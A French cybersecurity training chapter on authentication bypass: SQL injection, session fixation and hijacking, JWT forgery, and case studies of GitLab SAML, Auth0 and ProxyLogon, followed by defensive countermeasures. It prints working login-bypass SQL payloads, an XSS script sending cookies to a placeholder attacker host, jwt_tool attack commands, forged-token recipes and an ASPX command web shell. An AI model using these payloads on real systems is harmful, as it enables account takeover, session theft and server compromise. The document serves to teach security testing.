Lab Pratique

Auth Bypass

Pratiquez ce que vous apprenez dans ce chapitre! Ce lab dédié vous donne un vrai serveur vulnérable à exploiter légalement en utilisant les techniques exactes de ce chapitre.

Compétences que vous pratiquerez:
SQL InjectionAuthentication BypassWeb SecurityDatabase Security

Contournement d'authentification

Compromettez l'identite des utilisateurs grace aux failles d'authentification et de session

Contournement d'authentification Detournement de session Attaques JWT

Ce que vous allez decouvrir

🎯 Pourquoi c'est important

Les vulnerabilites d'authentification et de gestion de session compromettent directement l'identite des utilisateurs et le controle d'acces, conduisant souvent a une prise de controle complete des comptes. Ces failles sont particulierement critiques car elles contournent les mecanismes de securite fondamentaux sur lesquels les applications s'appuient pour verifier l'identite des utilisateurs et maintenir des sessions securisees. Les applications modernes utilisant des tokens, des API et des microservices introduisent une complexite supplementaire qui cree de nouveaux vecteurs d'attaque.

🔍 Ce que vous allez apprendre

Vous comprendrez comment identifier les mecanismes d'authentification faibles et exploiter les vulnerabilites de fixation, detournement et prediction de session. Cela inclut la manipulation des tokens JWT , le contournement de la validation des signatures et l'escalade de privileges par manipulation de parametres, les memes techniques systematiques utilisees par les experts en securite pour evaluer les systemes d'identite et de controle d'acces.

🚀 Votre premiere reussite

Dans les 15 prochaines minutes, vous allez exploiter avec succes des failles de gestion de session pour passer d'un utilisateur ordinaire a des privileges d'administrateur, demontrant comment une mauvaise gestion des sessions peut conduire a une compromission complete de l'application.

🔧 Essayez ceci maintenant

Testez les techniques courantes de contournement d'authentification sur un formulaire de connexion

# Contournement d'authentification par injection SQL
username: admin' --
password: (n'importe quoi)

# Contournements SQL alternatifs
username: admin' OR '1'='1' --
username: ' OR 1=1 LIMIT 1 --
username: admin'/*
password: */OR/**/1=1#

# Tests de manipulation de parametres
# Interceptez la requete de connexion et ajoutez :
role=admin
user_type=administrator
is_admin=true

# Manipulation de session
# Apres connexion, modifiez les cookies :
user_role=admin
privileges=administrator
access_level=5

# Modification de token JWT (si JWT utilise)
# Decodez le token, changez le role en "admin", reencodez

Vous verrez : Comment de nombreuses applications echouent a valider correctement l'entree utilisateur lors de l'authentification ou s'appuient sur des parametres cote client pour le controle d'acces. Cela demontre pourquoi le test d'authentification est une partie critique des evaluations de securite.

🛡️

Lab de contournement d'authentification par injection SQL

Maitrisez les attaques de contournement d'authentification dans un environnement securise et controle

🎯 Ce que vous allez pratiquer : Payloads d'injection SQL, manipulation de parametres et techniques de manipulation de session pour contourner les formulaires de connexion et escalader les privileges

Competences que vous allez maitriser

✅ Comprehension fondamentale

  • Mecanismes d'authentification et failles d'implementation
  • Gestion du cycle de vie des sessions et securite
  • Systemes d'authentification bases sur les tokens
  • Implementations cryptographiques et faiblesses

🔍 Competences avancees

  • Outils et techniques de manipulation JWT
  • Methodes d'analyse et d'exploitation de session
  • Test et validation d'escalade de privileges
  • Implementation securisee et remediation

Comprendre les vulnerabilites d'authentification

Les failles d'authentification surviennent lorsque les applications echouent a verifier correctement l'identite des utilisateurs ou a maintenir des sessions securisees

Le probleme fondamental est que de nombreuses applications implementent l'authentification apres coup, conduisant a une validation faible, des tokens previsibles et une gestion de session non securisee. Ces vulnerabilites sont particulierement dangereuses car elles fournissent souvent un acces direct aux comptes utilisateurs et aux fonctions administratives.

Failles courantes

Erreurs typiques d'implementation d'authentification

Politiques de mot de passe faibles
Tokens de session previsibles
Regeneration de session manquante
Reinitialisation de mot de passe non securisee
Injection SQL dans la connexion
Controle d'acces cote client

Vecteurs d'attaque

Methodes utilisees pour compromettre l'authentification

Fixation de session
Detournement de session
Manipulation JWT
Manipulation de parametres
Empoisonnement de reinitialisation de mot de passe
Attaques par force brute

Impact potentiel

Ce que les attaquants peuvent accomplir

Prise de controle de compte
Escalade de privileges
Acces aux donnees
Controle administratif
Mouvement lateral
Acces persistant

Outils et techniques

Le test d'authentification necessite une combinaison de techniques manuelles et d'outils specialises pour identifier et exploiter systematiquement les faiblesses des systemes d'identite et de gestion de session.

Exploitation de la gestion de session : les fondamentaux

Les vulnerabilites de session sont souvent le chemin le plus facile vers le contournement d'authentification car elles exploitent la facon dont les applications suivent l'etat des utilisateurs apres une connexion reussie.

Fixation et detournement de session

# Flux d'attaque par fixation de session
1. L'attaquant obtient un ID de session valide : JSESSIONID=ABC123
2. La victime est trompee pour utiliser cet ID de session
3. La victime s'authentifie avec l'ID de session fixe
4. L'attaquant utilise l'ID de session connu pour acceder au compte de la victime

# Techniques d'implementation
# Email/ingenierie sociale avec session predefinie
http://<target>/login?JSESSIONID=ATTACKER_CONTROLLED_ID

# XSS pour definir le cookie de session
document.cookie="JSESSIONID=FIXED_SESSION_ID; path=/"

# Detournement de session via XSS
<script>
fetch('http://<attacker>/steal', {
  method: 'POST',
  body: 'session=' + document.cookie
});
</script>

# Interception reseau (trafic non chiffre)
# Surveillez le trafic reseau pour les cookies de session
# Utilisez des outils comme Wireshark, tcpdump ou Burp Suite

# Analyse de prediction de session
# Collectez plusieurs IDs de session pour identifier les motifs
session1: ABC123456
session2: ABC123457
session3: ABC123458  # Sequentiel = previsible

Les attaques de session fonctionnent parce que de nombreuses applications echouent a regenerer les IDs de session apres l'authentification ou utilisent des algorithmes de generation de session previsibles.

Exploitation des tokens JWT : vecteur d'attaque moderne

Les JSON Web Tokens sont de plus en plus courants dans les applications modernes, mais une mauvaise implementation cree de nouvelles opportunites de contournement d'authentification par manipulation de tokens. Pour une immersion complete dans les vulnerabilites de securite JWT et les techniques d'exploitation, consultez notre cours dedie JWT Ethical Hacking: Token Takeover Tactics ou vous maitriserez les attaques JWT avancees comme le brute forcing de secrets, la confusion d'algorithmes et la manipulation de claims.

Manipulation JWT avec jwt_tool

# Installer jwt_tool
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
pip install -r requirements.txt

# Analyser la structure du token JWT
python jwt_tool.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

# Attaque de confusion d'algorithme (RS256 → HS256)
python jwt_tool.py -S hs256 -k public_key.pem JWT_TOKEN

# Attaque d'algorithme None (supprimer la verification de signature)
python jwt_tool.py -X a JWT_TOKEN

# Cracker les secrets HMAC faibles
python jwt_tool.py -C -d /usr/share/wordlists/rockyou.txt JWT_TOKEN

# Modification manuelle de token
# 1. Decoder l'en-tete et le payload (base64)
# 2. Modifier le payload : {"role": "admin", "user": "attacker"}
# 3. Reencoder avec les valeurs modifiees
# 4. Pour l'algorithme 'none', supprimer completement la signature

# Exemple : Changer le role utilisateur
Original: {"sub": "1234", "name": "John", "role": "user"}
Modifie: {"sub": "1234", "name": "John", "role": "admin"}

Les attaques JWT reussissent lorsque les applications acceptent des algorithmes faibles, ne valident pas correctement les signatures ou utilisent des secrets previsibles pour la signature des tokens.

🔐

Lab de confusion d'algorithme JWT

Maitrisez l'attaque de confusion d'algorithme RS256 vers HS256

🎯 Ce que vous allez maitriser : Exploitez les failles d'implementation cryptographique, manipulez les algorithmes JWT et contournez la validation de signature en utilisant des attaques de confusion de cle publique

Injection SQL dans l'authentification : contournement classique

L'injection SQL dans les formulaires de connexion reste l'une des techniques de contournement d'authentification les plus efficaces, particulierement dans les applications legacy qui n'utilisent pas de requetes parametrees.

Payloads de contournement d'authentification

# Contournement d'authentification basique
username: admin' --
password: anything

# Contournement base sur les booleens
username: admin' OR '1'='1' --
username: ' OR 1=1 LIMIT 1 --
username: admin' OR 'x'='x' --

# Collecte d'informations basee sur UNION
username: admin' UNION SELECT 1,username,password FROM users --

# Contournement de validation de mot de passe
username: admin
password: ' OR '1'='1

# Injection aveugle basee sur le temps (pour confirmer la vulnerabilite)
username: admin' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') AND SLEEP(5) --

# Contournement avance avec creation d'utilisateur
username: admin'; INSERT INTO users (username, password, role) VALUES ('hacker', 'password123', 'administrator'); --

# Variations de commentaires pour differentes bases de donnees
-- (MySQL, PostgreSQL)
# (MySQL)
/* */ (MySQL, SQL Server)

L'injection SQL dans l'authentification fonctionne en manipulant la logique de requete pour toujours retourner vrai ou en extrayant directement les identifiants utilisateur de la base de donnees.

Scenarios d'attaque reels

Ces cas documentes de recherche en securite demontrent comment les vulnerabilites de contournement d'authentification ont ete exploitees dans des applications reelles, fournissant des informations issues de decouvertes de bug bounty et de divulgations CVE.

Scenario 1 : Contournement d'authentification SAML GitLab via Ruby-SAML (CVE-2024-45409)

Des chercheurs en securite de ProjectDiscovery ont decouvert un contournement d'authentification critique dans la bibliotheque Ruby-SAML affectant les instances GitLab, permettant aux attaquants de contourner la validation de signature SAML par manipulation de valeur de digest XML.

# Etape 1 : Analyser la structure de reponse SAML
# GitLab accepte les assertions SAML pour l'authentification SSO
# Vulnerabilite : Verification incorrecte de signature XML

# Etape 2 : Creer une assertion SAML malveillante
# L'assertion signee originale contient l'email utilisateur
# Modifier le champ email en dehors de la portion signee

<saml:Assertion>
  <saml:Subject>
    <saml:NameID>victim@<target></saml:NameID>
  </saml:Subject>
  <saml:AttributeStatement>
    <saml:Attribute Name="email">
      <saml:AttributeValue>attacker@hackerdna.com</saml:AttributeValue>
    </saml:Attribute>
  </saml:AttributeStatement>
  <!-- La signature ne couvre que Subject, pas AttributeStatement -->
  <ds:Signature>...</ds:Signature>
</saml:Assertion>

# Etape 3 : Contournement d'authentification reussi
# GitLab valide la signature sur Subject (email victime)
# Mais utilise l'email de AttributeStatement (email attaquant)
# Resultat : Connexion en tant que victime avec email controle par l'attaquant

# Etape 4 : Prise de controle de compte
# Initier la reinitialisation de mot de passe via le compte compromis
# Email de reinitialisation envoye a l'adresse controlee par l'attaquant
# Prise de controle complete du compte sans connaitre le mot de passe original

Apercu expert : Cette vulnerabilite demontre comment des protocoles d'authentification complexes comme SAML peuvent introduire des failles de verification subtiles. L'attaque exploitait l'echec de GitLab a s'assurer que la portee de la signature XML couvrait tous les champs pertinents pour la securite, permettant des attaques de wrapping de signature courantes dans les systemes d'authentification bases sur XML.

Scenario 2 : Contournement d'algorithme JWT Auth0 (Avis de securite)

Le chercheur en securite Ben Knight d'Insomnia Security a divulgue un contournement de validation JWT dans l'API d'authentification Auth0 qui exploitait le filtrage sensible a la casse de l'algorithme 'none', permettant la falsification de tokens et le contournement d'authentification.

# Etape 1 : Analyser l'implementation de l'API d'authentification Auth0
# Auth0 empechait 'alg: none' avec un filtre sensible a la casse
# Vulnerabilite : Le filtrage sensible a la casse permettait le contournement

# Etape 2 : Obtenir la structure de token JWT legitime
# Un token normal aurait alg: RS256 ou similaire
{
  "alg": "RS256",
  "typ": "JWT"
}

# Etape 3 : Exploiter le contournement de filtre sensible a la casse
# Auth0 bloquait 'none' en minuscules mais pas les variantes avec majuscules
# Creer un token avec 'None', 'nonE', 'NoNe', etc.

{
  "alg": "None",  # ou "nonE", "NoNe", "NONE"
  "typ": "JWT"
}

# Etape 4 : Creer un payload malveillant
# Creer un payload avec les claims desires
{
  "sub": "attacker@hackerdna.com",
  "aud": "auth0-application",
  "iss": "https://<target>.auth0.com/",
  "exp": 9999999999,
  "iat": 1516239022,
  "mfa_token": "bypass_mfa"
}

# Etape 5 : Creer un token non signe
# Encoder en base64 l'en-tete et le payload, pas de signature
header = base64encode({"alg":"None","typ":"JWT"})
payload = base64encode({malicious_claims})
forged_token = header + "." + payload + "."

# Resultat : Contournement d'authentification et potentiel contournement MFA
# L'API Auth0 retourne une reponse 200 pour les tokens falsifies
# Les applications faisant confiance a la validation de token Auth0 sont compromises

Apercu expert : Cette vulnerabilite a demontre comment le filtrage sensible a la casse peut creer des contournements de securite dangereux. La faille permettait un contournement complet de la verification de signature en exploitant une gestion de casse inconsistante dans la validation d'algorithme. Auth0 a rapidement remedie au probleme apres la divulgation responsable, soulignant l'importance d'une validation d'entree complete et le defi recurrent de l'algorithme 'none' dans les implementations JWT.

Scenario 3 : Contournement d'authentification Microsoft Exchange ProxyLogon (CVE-2021-26855)

La vulnerabilite ProxyLogon decouverte par les chercheurs de Volexity permettait le contournement d'authentification dans les serveurs Microsoft Exchange, conduisant a l'un des incidents de securite d'entreprise les plus significatifs affectant plus de 250 000 serveurs dans le monde.

# Etape 1 : Identifier la vulnerabilite du serveur Exchange
# CVE-2021-26855 : SSRF dans Exchange permet le contournement d'authentification backend
# Vulnerabilite : Validation incorrecte de l'en-tete Host dans les requetes proxy

# Etape 2 : Creer une requete malveillante avec manipulation d'en-tete Host
POST /ecp/DDI/DDIService.svc/GetObject HTTP/1.1
Host: <target>
Authorization: Bearer <any_token>
Content-Type: application/json
X-Forwarded-Host: localhost
X-Forwarded-For: 127.0.0.1

{
  "filter": {
    "Parameters": {
      "__type": "JsonDictionaryOfanyType:#Microsoft.Exchange",
      "SelectedView": "",
      "SelectedVDirType": "All"
    }
  }
}

# Etape 3 : Contournement d'authentification backend reussi
# Le backend Exchange fait confiance aux requetes de localhost
# Les en-tetes X-Forwarded font apparaitre la requete comme interne
# Resultat : Acces administratif sans authentification

# Etape 4 : Escalader vers une compromission complete du serveur
# Utiliser l'acces authentifie pour exploiter des CVE supplementaires
# CVE-2021-26857 : Deserialisation non securisee
# CVE-2021-26858 : Ecriture de fichier arbitraire post-auth

# Etape 5 : Deployer un web shell pour un acces persistant
POST /owa/auth/Current/themes/resources/<webshell>.aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
    string cmd = Request.QueryString["cmd"];
    if (cmd != null) {
        Process.Start("cmd.exe", "/c " + cmd);
    }
%>

# Resultat : Compromission complete du serveur Exchange et acces persistant

Apercu expert : ProxyLogon represente une tempete parfaite de contournement d'authentification menant a une compromission complete de l'infrastructure. La vulnerabilite SSRF initiale contournait les controles d'authentification, mais les vrais degats provenaient de son chainage avec des vulnerabilites post-authentification. Cette etude de cas demontre comment les contournements d'authentification servent souvent de point d'entree pour des chaines d'attaque plus complexes dans les environnements d'entreprise.

Contre-mesures defensives

Comprendre ces mecanismes de defense vous aide a evaluer si les applications implementent correctement la securite d'authentification et a fournir des conseils de remediation complets lors des evaluations de securite.

Fondation essentielle de securite de session

Une gestion de session efficace cree plusieurs barrieres contre les attaques basees sur les sessions grace a une implementation cryptographiquement securisee et une gestion appropriee du cycle de vie.

Strategies de protection de session essentielles

Securite de generation de session

  • Utilisez des generateurs de nombres aleatoires cryptographiquement securises pour la creation d'ID de session
  • Generez des IDs de session avec un minimum de 128 bits d'entropie
  • Implementez la regeneration d'ID de session immediatement apres une authentification reussie
  • Rejetez et invalidez tout identifiant de session preexistant lors de la connexion

Attributs de securite des cookies

  • Activez le flag HttpOnly pour empecher l'acces JavaScript cote client
  • Definissez le flag Secure pour garantir la transmission uniquement via des connexions chiffrees
  • Configurez l'attribut SameSite pour attenuer les attaques CSRF
  • Implementez des restrictions de domaine et de chemin pour limiter la portee des cookies

Gestion du cycle de vie des sessions

Implementez des delais d'expiration absolus et d'inactivite, une terminaison de session securisee a la deconnexion et une invalidation de session cote serveur. Stockez les donnees de session exclusivement sur le serveur avec des verifications d'integrite cryptographiques pour empecher la falsification.

Implementation de securite des tokens JWT

Une securite JWT robuste necessite plusieurs couches de validation, des pratiques cryptographiques solides et une selection d'algorithme soignee pour empecher la manipulation de tokens et l'escalade de privileges.

Strategie de defense JWT multicouche

Protection cryptographique

  • Generez des secrets de signature en utilisant des sources aleatoires cryptographiquement securisees avec un minimum de 256 bits d'entropie
  • Mettez explicitement en liste blanche les algorithmes de signature autorises et rejetez l'algorithme 'none'
  • Implementez des procedures de rotation de cles appropriees pour la gestion a long terme des secrets
  • Utilisez des algorithmes asymetriques (RS256) pour les systemes distribues necessitant une verification par cle publique

Exigences de validation

  • Verifiez la signature du token, l'expiration, l'emetteur et les claims d'audience a chaque requete
  • Implementez des durees de vie de token courtes (15-30 minutes) avec des mecanismes de rafraichissement securises
  • Validez tous les claims JWT par rapport aux valeurs attendues avant d'accorder l'acces
  • Journalisez et surveillez les tentatives de token invalides pour la detection d'incidents de securite

Revocation de token et liste noire

Maintenez des listes noires de tokens cote serveur pour des capacites de revocation immediates, implementez le versioning de tokens pour les scenarios d'invalidation massive, et utilisez la rotation des tokens de rafraichissement pour limiter les fenetres d'exposition lors d'une compromission.

Validation des entrees d'authentification

Une validation complete des entrees et des requetes parametrees eliminent les vulnerabilites d'injection SQL tandis qu'un controle d'acces approprie empeche l'escalade de privileges par manipulation de parametres.

Securite d'authentification prete pour la production

Prevention de l'injection SQL

  • Utilisez exclusivement des requetes parametrees et des instructions preparees pour les interactions avec la base de donnees
  • Implementez des procedures stockees avec une validation d'entree appropriee pour la logique d'authentification complexe
  • Appliquez le principe du moindre privilege aux comptes de base de donnees utilises par les applications
  • Activez la journalisation des requetes de base de donnees et la surveillance des tentatives d'authentification suspectes

Application du controle d'acces

  • Effectuez toutes les decisions d'autorisation cote serveur en utilisant des donnees de session ou de token fiables
  • Implementez un controle d'acces base sur les roles avec une verification granulaire des permissions
  • Validez les permissions utilisateur sur chaque operation privilegiee, pas seulement l'authentification initiale
  • Utilisez des services d'autorisation centralises pour garantir une application coherente des politiques

Strategie de defense en profondeur

Superposez plusieurs controles de securite incluant la limitation de debit pour la protection contre la force brute, les mecanismes de verrouillage de compte, l'authentification multi-facteur et une surveillance de securite complete. Combinez les controles techniques avec la formation a la sensibilisation a la securite et des evaluations de securite regulieres.

🎯 Vous maitrisez le contournement d'authentification !

Vous comprenez maintenant comment compromettre l'identite des utilisateurs grace aux failles d'authentification et de session. Vous pouvez exploiter les vulnerabilites de gestion de session, manipuler les tokens JWT et effectuer une escalade de privileges en utilisant les memes techniques systematiques que les experts en securite utilisent pour evaluer les systemes d'identite et de controle d'acces.

Contournement d'authentification Exploitation de session Manipulation JWT Escalade de privileges Implementation securisee

Pret a obtenir une execution de code a distance via les telechargements de fichiers

Validation des Connaissances

Démontrez votre compréhension pour gagner des points et progresser

1
Question du Chapitre

Utilisez l'injection SQL pour contourner l'authentification sur un formulaire de connexion. Quel payload utiliseriez-vous dans le champ username pour toujours retourner vrai et contourner la validation du mot de passe ? (Format: admin' [opérateur] '[valeur]'='[valeur]' --)

1
Lire
2
Valider
3
Terminer

Prêt à suivre votre progression?

Créez un compte gratuit pour sauvegarder votre progression, gagner des points et accéder à plus de 170 labs pratiques de cybersécurité.

Commencer à Apprendre Gratuitement
Rejoignez 5 000+ hackers qui apprennent la cybersécurité avec des labs pratiques. Créer un Compte